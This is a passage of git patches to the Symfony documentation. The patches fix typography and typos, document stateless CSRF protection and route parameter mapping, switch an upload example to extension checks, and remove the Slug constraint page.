 For example, the Symfony Routing component allows you to load all routes,
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index 6202fdad424..ce14dd5ad0e 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -34,7 +34,7 @@ Examples of unacceptable behavior include:
   any kind
 * Trolling, insulting or derogatory comments, and personal or political attacks
 * Public or private harassment
-* Publishing others’ private information, such as a physical or email address,
+* Publishing others' private information, such as a physical or email address,
   without their explicit permission
 * Other conduct which could reasonably be considered inappropriate in a
   professional setting
@@ -128,7 +128,7 @@ Attribution
 This Code of Conduct is adapted from the `Contributor Covenant`_, version 2.1,
 available at https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
 
-Community Impact Guidelines were inspired by `Mozilla’s code of conduct enforcement ladder`_.
+Community Impact Guidelines were inspired by `Mozilla's code of conduct enforcement ladder`_.
 
 Related Documents
 -----------------
@@ -141,4 +141,4 @@ Related Documents
     concrete_example_document
 
 .. _Contributor Covenant: https://www.contributor-covenant.org
-.. _Mozilla’s code of conduct enforcement ladder: https://github.com/mozilla/diversity
+.. _Mozilla's code of conduct enforcement ladder: https://github.com/mozilla/diversity
diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index 60ffe2527db..227a41df4a8 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -9,7 +9,7 @@ according to the Symfony code of conduct.
 Concrete Examples
 -----------------
 
-* Unwelcome comments regarding a person’s lifestyle choices and practices,
+* Unwelcome comments regarding a person's lifestyle choices and practices,
   including those related to food, health, parenting, drugs, and employment;
 * Deliberate misgendering or use of `dead names`_ (The birth name
   of a person who has since changed their name, often a transgender person);
diff --git a/contributing/community/review-comments.rst b/contributing/community/review-comments.rst
index 5b9bc932205..331352bb5fd 100644
--- a/contributing/community/review-comments.rst
+++ b/contributing/community/review-comments.rst
@@ -28,7 +28,7 @@ constructive, respectful and helpful reviews and replies.
     welcoming place for everyone. **You are free to disagree with
     someone's opinions, but don't be disrespectful.**
 
-It’s important to accept that many programming decisions are opinions.
+It's important to accept that many programming decisions are opinions.
 Discuss trade-offs, which you prefer, and reach a resolution quickly.
 It's not about being right or wrong, but using what works.
 
diff --git a/contributing/diversity/further_reading.rst b/contributing/diversity/further_reading.rst
index 8bb07c39c97..b5f44047159 100644
--- a/contributing/diversity/further_reading.rst
+++ b/contributing/diversity/further_reading.rst
@@ -9,7 +9,7 @@ Diversity in Open Source
 `Sage Sharp - What makes a good community? <https://sage.thesharps.us/2015/10/06/what-makes-a-good-community>`_
 `Ashe Dryden - The Ethics of Unpaid Labor and the OSS Community <https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community>`_
 `Model View Culture - The Dehumanizing Myth of the Meritocracy <https://modelviewculture.com/pieces/the-dehumanizing-myth-of-the-meritocracy>`_
-`Annalee - How “Good Intent” Undermines Diversity and Inclusion <https://thebias.com/2017/09/26/how-good-intent-undermines-diversity-and-inclusion>`_
+`Annalee - How "Good Intent" Undermines Diversity and Inclusion <https://thebias.com/2017/09/26/how-good-intent-undermines-diversity-and-inclusion>`_
 `Karolina Szczur - Building Inclusive Communities <https://speakerdeck.com/fox/building-inclusive-communities>`_
 
 Code of Conduct
@@ -22,7 +22,7 @@ Code of Conduct
 Inclusive language
 ------------------
 
-`Jenée Desmond-Harris - Why I’m finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
+`Jenée Desmond-Harris - Why I'm finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
 `inclusive language presentations <https://github.com/hcorona/diversity-inclusion/blob/master/inclusive-language-presentations.md>`_
 
 Other talks and Blog Posts
@@ -30,7 +30,7 @@ Other talks and Blog Posts
 
 `Lena Reinhard – A Talk About Nothing <https://www.youtube.com/watch?v=D3e3V66TH2Y>`_
 `Lena Reinhard - A Talk about Everything <https://www.youtube.com/watch?v=CZx7rYoq1Uw>`_
-`Sage Sharp - SCALE: Improving Diversity with Maslow’s hierarchy <https://sage.thesharps.us/2016/01/24/scale-improving-diversity-with-maslows-hierarchy>`_
+`Sage Sharp - SCALE: Improving Diversity with Maslow's hierarchy <https://sage.thesharps.us/2016/01/24/scale-improving-diversity-with-maslows-hierarchy>`_
 `UCSF - Unconscious Bias <https://diversity.ucsf.edu/resources/unconscious-bias>`_
 `Responding to harassment reports <http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Responding_to_reports>`_
 `Unconscious bias at work <https://rework.withgoogle.com/guides/unbiasing-raise-awareness/steps/watch-unconscious-bias-at-work>`_
diff --git a/http_client.rst b/http_client.rst
index 32ef552c64f..f4be8b2460b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -898,7 +898,7 @@ in your requests::
         'extra' => ['trace_content' => false],
     ]);
 
-This setting won’t affect other clients.
+This setting won't affect other clients.
 
 Using URI Templates
 ~~~~~~~~~~~~~~~~~~~
diff --git a/scheduler.rst b/scheduler.rst
index e7d855db249..3f2f8d7d2ac 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -603,7 +603,7 @@ In your handler, you can check a condition and, if affirmative, access the
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(

From 5952dd3e9e4c863f3bb0d8926454cccd26e7f8da Mon Sep 17 00:00:00 2001
From: Pjotr Savitski <pjotr.savitski@gmail.com>
Date: Sat, 17 May 2025 09:41:44 +0300
Subject: [PATCH 6988/7107] Changed text to mention one Product object instead
 of many

The getOneOrNullResult will not return multiple results.
---
 doctrine/associations.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8dd9aa7f36b..2279d02a851 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -501,7 +501,7 @@ following method to the ``ProductRepository`` class::
         }
     }
 
-This will *still* return an array of ``Product`` objects. But now, when you call
+This will *still* return a ``Product`` object. But now, when you call
 ``$product->getCategory()`` and use that data, no second query is made.
 
 Now, you can use this method in your controller to query for a ``Product``

From 4579583cb6304e707413f0d4d5abaa1454572231 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Tue, 13 May 2025 14:04:30 +0200
Subject: [PATCH 6989/7107] [Security] Tell about stateless CSRF protection

---
 http_cache/varnish.rst                |   2 +-
 reference/configuration/framework.rst |  59 ++++++++-
 security/csrf.rst                     | 184 ++++++++++++++++++++++++--
 session.rst                           |   2 +-
 4 files changed, 233 insertions(+), 14 deletions(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index a9bb668c100..6fcb7fd766b 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -62,7 +62,7 @@ If you know for sure that the backend never uses sessions or basic
 authentication, have Varnish remove the corresponding header from requests to
 prevent clients from bypassing the cache. In practice, you will need sessions
 at least for some parts of the site, e.g. when using forms with
-:doc:`CSRF Protection </security/csrf>`. In this situation, make sure to
+:doc:`stateful CSRF Protection </security/csrf>`. In this situation, make sure to
 :ref:`only start a session when actually needed <session-avoid-start>`
 and clear the session when it is no longer needed. Alternatively, you can look
 into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`.
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 599cbb0ba04..8fec2678c8d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -805,8 +805,6 @@ csrf_protection
 
     For more information about CSRF protection, see :doc:`/security/csrf`.
 
-.. _reference-csrf_protection-enabled:
-
 enabled
 .......
 
@@ -854,6 +852,42 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
+stateless_token_ids
+...................
+
+**type**: ``array`` **default**: ``[]``
+
+The list of CSRF token ids that will use stateless CSRF protection.
+
+.. versionadded:: 7.2
+
+    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+
+check_header
+............
+
+**type**: ``integer`` or ``bool`` **default**: ``false``
+
+Whether to check the CSRF token in a header in addition to a cookie when using stateless protection.
+Can be set to ``2`` (the value of the ``CHECK_ONLY_HEADER`` constant on the
+:class:`Symfony\\Component\\Security\\Csrf\\SameOriginCsrfTokenManager` class) to check only the header
+and not the cookie.
+
+.. versionadded:: 7.2
+
+    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+
+cookie_name
+...........
+
+**type**: ``string`` **default**: ``csrf-token``
+
+The name of the cookie (and header) to use for the double-submit when using stateless protection.
+
+.. versionadded:: 7.2
+
+    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+
 .. _config-framework-default_locale:
 
 default_locale
@@ -1164,15 +1198,32 @@ settings is configured.
 
     For more details, see :doc:`/forms`.
 
-.. _reference-form-field-name:
+csrf_protection
+...............
 
 field_name
-..........
+''''''''''
 
 **type**: ``string`` **default**: ``_token``
 
 This is the field name that you should give to the CSRF token field of your forms.
 
+field_attr
+''''''''''
+
+**type**: ``array`` **default**: ``['data-controller' => 'csrf-protection']``
+
+This is the HTML attributes that should be added to the CSRF token field of your forms.
+
+token_id
+''''''''
+
+**type**: ``string`` **default**: ``null``
+
+This is the CSRF token id that should be used for validating the CSRF tokens of your forms.
+Note that this setting applies only to autoconfigured form types, which usually means only
+to your own form types and not to form types registered by third-party bundles.
+
 fragments
 ~~~~~~~~~
 
diff --git a/security/csrf.rst b/security/csrf.rst
index 772b503ec39..2e7369d170f 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -34,6 +34,10 @@ unique tokens added to forms as hidden fields. The legit server validates them t
 ensure that the request originated from the expected source and not some other
 malicious website.
 
+Anti-CSRF tokens can be managed either in a stateful way: they're put in the
+session and are unique for each user and for each kind of action, or in a
+stateless way: they're generated on the client-side.
+
 Installation
 ------------
 
@@ -85,14 +89,14 @@ for more information):
             ;
         };
 
-The tokens used for CSRF protection are meant to be different for every user and
-they are stored in the session. That's why a session is started automatically as
-soon as you render a form with CSRF protection.
+By default, the tokens used for CSRF protection are stored in the session.
+That's why a session is started automatically as soon as you render a form
+with CSRF protection.
 
 .. _caching-pages-that-contain-csrf-protected-forms:
 
-Moreover, this means that you cannot fully cache pages that include CSRF
-protected forms. As an alternative, you can:
+This leads to many strategies to help with caching pages that include CSRF
+protected forms, among them:
 
 * Embed the form inside an uncached :doc:`ESI fragment </http_cache/esi>` and
   cache the rest of the page contents;
@@ -101,6 +105,9 @@ protected forms. As an alternative, you can:
   load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
+The most effective way to cache pages that need CSRF protected forms is to use
+stateless CSRF tokens, see below.
+
 .. _csrf-protection-forms:
 
 CSRF Protection in Symfony Forms
@@ -183,6 +190,7 @@ method of each form::
                 'csrf_field_name' => '_token',
                 // an arbitrary string used to generate the value of the token
                 // using a different string for each form improves its security
+                // when using stateful tokens (which is the default)
                 'csrf_token_id'   => 'task_item',
             ]);
         }
@@ -190,7 +198,7 @@ method of each form::
         // ...
     }
 
-You can also customize the rendering of the CSRF form field creating a custom
+You can also customize the rendering of the CSRF form field by creating a custom
 :doc:`form theme </form/form_themes>` and using ``csrf_token`` as the prefix of
 the field (e.g. define ``{% block csrf_token_widget %} ... {% endblock %}`` to
 customize the entire form field contents).
@@ -221,7 +229,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 .. code-block:: html+twig
 
     <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post">
-        {# the argument of csrf_token() is an arbitrary string used to generate the token #}
+        {# the argument of csrf_token() is the ID of this token #}
         <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}">
 
         <button type="submit">Delete item</button>
@@ -229,7 +237,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 
 Then, get the value of the CSRF token in the controller action and use the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
-method to check its validity::
+method to check its validity, passing the same token ID used in the template::
 
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
@@ -302,6 +310,166 @@ targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.
 
+Stateless CSRF Tokens
+---------------------
+
+.. versionadded:: 7.2
+
+    Stateless anti-CSRF protection was introduced in Symfony 7.2.
+
+By default CSRF tokens are stateful, which means they're stored in the session.
+But some token ids can be declared as stateless using the ``stateless_token_ids``
+option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/csrf.yaml
+        framework:
+            # ...
+            csrf_protection:
+                stateless_token_ids: ['submit', 'authenticate', 'logout']
+
+    .. code-block:: xml
+
+        <!-- config/packages/csrf.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:csrf-protection>
+                    <framework:stateless-token-id>submit</framework:stateless-token-id>
+                    <framework:stateless-token-id>authenticate</framework:stateless-token-id>
+                    <framework:stateless-token-id>logout</framework:stateless-token-id>
+                </framework:csrf-protection>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/csrf.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->csrfProtection()
+                ->statelessTokenIds(['submit', 'authenticate', 'logout'])
+            ;
+        };
+
+Stateless CSRF tokens use a CSRF protection that doesn't need the session. This
+means that you can cache the entire page and still have CSRF protection.
+
+When a stateless CSRF token is checked for validity, Symfony verifies the
+``Origin`` and the ``Referer`` headers of the incoming HTTP request.
+
+If either of these headers match the target origin of the application (its domain
+name), the CSRF token is considered valid. This relies on the app being able to
+know its own target origin. Don't miss configuring your reverse proxy if you're
+behind one. See :doc:`/deployment/proxies`.
+
+Using a Default Token ID
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+While stateful CSRF tokens are better seggregated per form or action, stateless
+ones don't need many token identifiers. In the previous example, ``authenticate``
+and ``logout`` are listed because they're the default identifiers used by the
+Symfony Security component. The ``submit`` identifier is then listed so that
+form types defined by the application can use it by default. The following
+configuration - which applies only to form types declared using autofiguration
+(the default way to declare *your* services) - will make your form types use the
+``submit`` token identifier by default:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/csrf.yaml
+        framework:
+            form:
+                csrf_protection:
+                    token_id: 'submit'
+
+    .. code-block:: xml
+
+        <!-- config/packages/csrf.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:form>
+                    <framework:csrf-protection token-id="submit"/>
+                </framework:form>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/csrf.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->form()
+                ->csrfProtection()
+                    ->tokenId('submit')
+            ;
+        };
+
+Forms configured with a token identifier listed in the above ``stateless_token_ids``
+option will use the stateless CSRF protection.
+
+Generating CSRF Token Using Javascript
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to the ``Origin`` and ``Referer`` headers, stateless CSRF protection
+also checks a cookie and a header (named ``csrf-token`` by default, see the
+:ref:`CSRF configuration reference <reference-framework-csrf-protection>`).
+
+These extra checks are part of defense-in-depth strategies provided by the
+stateless CSRF protection. They are optional and they require
+`some JavaScript`_ to be activated. This JavaScript is responsible for generating
+a crypto-safe random token when a form is submitted, then putting the token in
+the hidden CSRF field of the form and submitting it also as a cookie and header.
+On the server-side, the CSRF token is validated by checking the cookie and header
+values. This "double-submit" protection relies on the same-origin policy
+implemented by browsers and is strengthened by regenerating the token at every
+form submission - which prevents cookie fixation issues - and by using
+``samesite=strict`` and ``__Host-`` cookies, which make them domain-bound and
+HTTPS-only.
+
+Note that the default snippet of JavaScript provided by Symfony requires that
+the hidden CSRF form field is either named ``_csrf_token``, or that it has the
+``data-controller="csrf-protection"`` attribute. You can of course take
+inspiration from this snippet to write your own, provided you follow the same
+protocol.
+
+As a last measure, a behavioral check is added on the server-side to ensure that
+the validation method cannot be downgraded: if and only if a session is already
+available, successful "double-submit" is remembered and is then required for
+subsequent requests. This prevents attackers from exploiting potentially reduced
+validation checks once cookie and/or header validation has been confirmed as
+effective (they're optional by default as explained above).
+
+.. note::
+
+    Enforcing successful "double-submit" for every requests is not recommended as
+    as it could lead to a broken user experience. The opportunistic approach
+    described above is preferred because it allows the application to gracefully
+    degrade to ``Origin`` / ``Referer`` checks when JavaScript is not available.
+
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
 .. _`CRIME`: https://en.wikipedia.org/wiki/CRIME
+.. _`some JavaScript`: https://github.com/symfony/recipes/blob/main/symfony/stimulus-bundle/2.20/assets/controllers/csrf_protection_controller.js
diff --git a/session.rst b/session.rst
index 0c5348ec9e6..4c14638fc68 100644
--- a/session.rst
+++ b/session.rst
@@ -115,7 +115,7 @@ sessions for anonymous users, you must *completely* avoid accessing the session.
 .. note::
 
     Sessions will also be started when using features that rely on them internally,
-    such as the :ref:`CSRF protection in forms <csrf-protection-forms>`.
+    such as the :ref:`stateful CSRF protection in forms <csrf-protection-forms>`.
 
 .. _flash-messages:
 

From e591c5903958e63eaf1bc7d9b470431b29904f8c Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 15:16:58 +0200
Subject: [PATCH 6990/7107] [Routing] Tell about {foo:bar} mapping syntax

---
 doctrine.rst | 31 +++++++++++--------------------
 routing.rst  | 43 ++++++++++++++++++++++++++++++++-----------
 2 files changed, 43 insertions(+), 31 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 171f8a3348a..270c59a08c4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -680,7 +680,7 @@ will automatically fetch them::
     /**
      * Perform a findOneBy() where the slug property matches {slug}.
      */
-    #[Route('/product/{slug}')]
+    #[Route('/product/{slug:product}')]
     public function showBySlug(Product $product): Response
     {
     }
@@ -694,14 +694,17 @@ Automatic fetching works in these situations:
   *all* of the wildcards in your route that are actually properties
   on your entity (non-properties are ignored).
 
-This behavior is enabled by default on all controllers. If you prefer, you can
-restrict this feature to only work on route wildcards called ``id`` to look for
-entities by primary key. To do so, set the option
-``doctrine.orm.controller_resolver.auto_mapping`` to ``false``.
+The ``{slug:product}`` syntax maps the route parameter named ``slug`` to the
+controller argument named ``$product``. It also hints the resolver to lookup
+by slug when loading the corresponding ``Product`` object from the database.
 
-When ``auto_mapping`` is disabled, you can configure the mapping explicitly for
-any controller argument with the ``MapEntity`` attribute. You can even control
-the ``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
+.. versionadded:: 7.1
+
+    Route parameter mapping was introduced in Symfony 7.1.
+
+You can also configure the mapping explicitly for any controller argument
+with the ``MapEntity`` attribute. You can even control the
+``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -812,18 +815,6 @@ control behavior:
         ): Response {
         }
 
-``exclude``
-    Configures the properties that should be used in the ``findOneBy()``
-    method by *excluding* one or more properties so that not *all* are used::
-
-        #[Route('/product/{slug}/{date}')]
-        public function show(
-            #[MapEntity(exclude: ['date'])]
-            Product $product,
-            \DateTime $date
-        ): Response {
-        }
-
 ``stripNull``
     If true, then when ``findOneBy()`` is used, any values that are
     ``null`` will not be used for the query.
diff --git a/routing.rst b/routing.rst
index 24218eaf74c..587a35f269b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -22,8 +22,7 @@ Creating Routes as Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 PHP attributes allow to define routes next to the code of the
-:doc:`controllers </controller>` associated to those routes. Attributes are
-native in PHP 8 and higher versions, so you can use them right away.
+:doc:`controllers </controller>` associated to those routes.
 
 You need to add a bit of configuration to your project before using them. If your
 project uses :ref:`Symfony Flex <symfony-flex>`, this file is already created for you.
@@ -707,12 +706,6 @@ URL                       Route          Parameters
     matches any uppercase character in any language, ``\p{Greek}`` matches any
     Greek characters, etc.
 
-.. note::
-
-    When using regular expressions in route parameters, you can set the ``utf8``
-    route option to ``true`` to make any ``.`` character match any UTF-8
-    characters instead of just a single byte.
-
 If you prefer, requirements can be inlined in each parameter using the syntax
 ``{parameter_name<requirements>}``. This feature makes configuration more
 concise, but it can decrease route readability when requirements are complex:
@@ -998,7 +991,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     {
         // ...
 
-        #[Route('/blog/{slug}', name: 'blog_show')]
+        #[Route('/blog/{slug:post}', name: 'blog_show')]
         public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter
@@ -1012,9 +1005,37 @@ this case), the "param converter" makes a database request to find the object
 using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
+The ``{slug:post}`` syntax maps the route parameter named ``slug`` to the controller
+argument named ``$post``. It also hints the "param converter" to lookup by slug
+when loading the corresponding ``BlogPost`` object from the database.
+
+.. versionadded:: 7.1
+
+    Route parameter mapping was introduced in Symfony 7.1.
+
+When more than one entity needs to be derived from route parameters, collisions can happen.
+In the following example, the route tries to define two mappings: one to load an author by
+name, two to load a category by name. But this is not allowed because from the side of the
+route definition, this declares a parameter named "name" twice::
+
+    #[Route('/search-book/{name:author}/{name:category}')]
+
+Such routes should instead be defined using the following syntax::
+
+    #[Route('/search-book/{authorName:author.name}/{categoryName:category.name}')]
+
+This way, the route parameter names are unique (``authorName`` and ``categoryName``) and
+the "param converter" can correctly map them to controller arguments (``$author`` and
+``$category``), loading them both by their name.
+
+.. versionadded:: 7.3
+
+    This more advanced style of route parameter mapping was introduced in Symfony 7.3.
+
+More advanced mappings can be achieved using the ``#[MapEntity]`` attribute.
 Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
-to learn about the ``#[MapEntity]`` attribute that can be used to customize the
-database queries used to fetch the object from the route parameter.
+to learn how to customize the database queries used to fetch the object from the route
+parameter.
 
 Backed Enum Parameters
 ~~~~~~~~~~~~~~~~~~~~~~

From 62b7149405447a29a11f8f8e93da99dfb4afac85 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 17 May 2025 17:55:29 +0200
Subject: [PATCH 6991/7107] [Doctrine] Remove redundant example with attribute

---
 doctrine/events.rst | 17 -----------------
 1 file changed, 17 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9507316eb5b..3f8f93bc2ee 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -304,23 +304,6 @@ listener in the Symfony application by creating a new service for it and
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
-
-        // src/EventListener/SearchIndexer.php
-        namespace App\EventListener;
-
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\PostPersistEventArgs;
-
-        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
-        class SearchIndexer
-        {
-            public function postPersist(PostPersistEventArgs $event): void
-            {
-                // ...
-            }
-        }
-
     .. code-block:: yaml
 
         # config/services.yaml

From c6ae20a8fcdd5c5452fe4a3321244773dca04e1e Mon Sep 17 00:00:00 2001
From: Nazar Mammedov <nazarmamedow@gmail.com>
Date: Fri, 16 May 2025 15:54:01 -0400
Subject: [PATCH 6992/7107] Update messenger.rst

Typo fix from "may looks" to "may look"
---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index bf5a8180adc..18c7be913b5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1372,7 +1372,7 @@ RabbitMQ. Install it by running:
 
     $ composer require symfony/amqp-messenger
 
-The AMQP transport DSN may looks like this:
+The AMQP transport DSN may look like this:
 
 .. code-block:: env
 

From 3474a09b856214ca239af989d221faa05fe69c4a Mon Sep 17 00:00:00 2001
From: "Benjamin D." <benito103e@users.noreply.github.com>
Date: Wed, 16 Apr 2025 11:31:41 +0200
Subject: [PATCH 6993/7107] Highligh 'extensions' instead of 'mimeTypes' for
 File constraint

You should always use the extensions option instead of mimeTypes except if you explicitly don't want to check that the extension of the file is consistent with its content (this can be a security issue).

By default, the extensions option also checks the media type of the file.
---
 controller/upload_file.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index dff5453509a..941bd911a78 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -77,11 +77,8 @@ so Symfony doesn't try to get/set its value from the related entity::
                     'constraints' => [
                         new File([
                             'maxSize' => '1024k',
-                            'mimeTypes' => [
-                                'application/pdf',
-                                'application/x-pdf',
-                            ],
-                            'mimeTypesMessage' => 'Please upload a valid PDF document',
+                            'extensions' => ['pdf'],
+                            'extensionsMessage' => 'Please upload a valid PDF document',
                         ])
                     ],
                 ])

From e8128a60528c45de2833c9eb1bf692daf963fadf Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Tue, 20 May 2025 08:55:56 +0200
Subject: [PATCH 6994/7107] remove the Slug constraint

---
 reference/constraints/Slug.rst    | 119 ------------------------------
 reference/constraints/map.rst.inc |   1 -
 2 files changed, 120 deletions(-)
 delete mode 100644 reference/constraints/Slug.rst

diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
deleted file mode 100644
index 2eb82cd9c10..00000000000
--- a/reference/constraints/Slug.rst
+++ /dev/null
@@ -1,119 +0,0 @@
-Slug
-====
-
-.. versionadded:: 7.3
-
-    The ``Slug`` constraint was introduced in Symfony 7.3.
-
-Validates that a value is a slug. By default, a slug is a string that matches
-the following regular expression: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
-
-.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
-
-==========  ===================================================================
-Applies to  :ref:`property or method <validation-property-target>`
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\Slug`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
-==========  ===================================================================
-
-Basic Usage
------------
-
-The ``Slug`` constraint can be applied to a property or a getter method:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            #[Assert\Slug]
-            protected string $slug;
-        }
-
-    .. code-block:: yaml
-
-        # config/validator/validation.yaml
-        App\Entity\Author:
-            properties:
-                slug:
-                    - Slug: ~
-
-    .. code-block:: xml
-
-        <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
-            <class name="App\Entity\Author">
-                <property name="slug">
-                    <constraint name="Slug"/>
-                </property>
-            </class>
-        </constraint-mapping>
-
-    .. code-block:: php
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Mapping\ClassMetadata;
-
-        class Author
-        {
-            // ...
-
-            public static function loadValidatorMetadata(ClassMetadata $metadata): void
-            {
-                $metadata->addPropertyConstraint('slug', new Assert\Slug());
-            }
-        }
-
-Examples of valid values:
-
-* foobar
-* foo-bar
-* foo123
-* foo-123bar
-
-Uppercase characters would result in an violation of this constraint.
-
-Options
--------
-
-``regex``
-~~~~~~~~~
-
-**type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
-
-This option allows you to modify the regular expression pattern that the input
-will be matched against via the :phpfunction:`preg_match` PHP function.
-
-If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
-
-``message``
-~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``This value is not a valid slug``
-
-This is the message that will be shown if this validator fails.
-
-You can use the following parameters in this message:
-
-=================  ==============================================================
-Parameter          Description
-=================  ==============================================================
-``{{ value }}``    The current (invalid) value
-=================  ==============================================================
-
-.. include:: /reference/constraints/_groups-option.rst.inc
-
-.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index c2396ae3af7..06680e42207 100644
